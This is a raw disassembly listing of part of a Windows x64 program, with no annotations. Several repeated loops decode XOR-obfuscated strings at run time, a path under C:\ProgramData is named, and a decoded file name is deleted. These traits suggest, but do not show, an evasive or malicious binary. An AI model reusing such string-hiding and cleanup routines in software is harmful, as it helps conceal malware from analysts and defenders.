punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140043720
cmp r8d, 0x1a
jge 0x140043870
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140043840
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140043874
lea r8, [rbp + 0xa8]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140043890
mov dword [rbp + 0x390], 0xb40af66d
movdqa xmm0, xmmword [0x1400e2db0]
movdqu xmmword [rbp + 0x394], xmm0
mov dword [rbp + 0x3a4], 0xea92a448
mov byte [rbp + 0x3a8], 0x1d
xor eax, eax
mov word [rbp + 0x3a9], ax
mov byte [rbp + 0x3ab], al
mov r8d, 0xb40af66d
lea rdx, [rbp + 0x394]
lea rcx, [rbp + 0x340]
call fcn.140046920
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x318], xmm0
movsd xmm1, qword [rax + 0x10]
movsd qword [rbp + 0x328], xmm1
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x330], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 0x31c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140043933
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x30]
call fcn.140053790
lea rcx, [rsp + 0x30]
call fcn.14003f810
movups xmm0, xmmword [0x1400d9648]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [str.mlonihkjedgfa_cb]
movups xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [0x1400d9668]
movups xmmword [rbp + 0x260], xmm0
movsd xmm1, qword [0x1400d9678]
movsd qword [rbp + 0x270], xmm1
cmp esi, 2
jl 0x140043ae1
movdqa xmm5, xmmword [0x1400e2800]
mov edx, ebx
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x244]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400439e0
jmp 0x140043b20
lea r9, [rbp + 0x240]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140043af0
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140043b24
lea r8, [rbp + 0x240]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140043b40
movups xmm0, xmmword [0x1400d9520]
movups xmmword [rbp + 0x88], xmm0
movsd xmm1, qword [0x1400d9530]
movsd qword [rbp + 0x98], xmm1
mov eax, dword [0x1400d9538]
mov dword [rbp + 0xa0], eax
movzx eax, word [0x1400d953c]
mov word [rbp + 0xa4], ax
cmp byte [0x1400d953d], 0
je 0x140043d30
mov r8d, ebx
cmp esi, 2
jl 0x140043ce7
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x8c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140043be0
cmp r8d, 0x1e
jge 0x140043d30
movsxd rax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140043d00
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140043d34
lea r8, [rbp + 0x88]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140043d50
lea rcx, str.C:ProgramDataTether
call fcn.14003f4d0
movups xmm0, xmmword [str.s_vncFZQEYTZH_bl511__5_f2K]
movups xmmword [rbp + 0x390], xmm0
movsd xmm1, qword [0x1400d9d48]
movsd qword [rbp + 0x3a0], xmm1
mov eax, dword [0x1400d9d50]
mov dword [rbp + 0x3a8], eax
cmp byte [0x1400d9d53], 0
je 0x140043f40
mov r8d, ebx
cmp esi, 2
jl 0x140043ef7
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x394]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140043df0
cmp r8d, 0x1c
jge 0x140043f40
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140043f10
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x1400f19c1], 0
movzx edx, byte [rbp + 0x3d0]
lea rcx, [rbp + 0x3d8]
call fcn.140050f80
nop
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3f0], rax
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3ec], edx
lea rcx, [rbp + 0x3f8]
call fcn.14004eec0
lea rcx, [rbp + 0x400]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x498]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140040190
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140040190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x3d0]
call fcn.140051560
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.14004ffe0
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x288]
call fcn.140052bb0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0x2c0]
call fcn.14003daf0
lea rdx, [0x1400eccf8]
lea rcx, [rbp + 0x2c0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3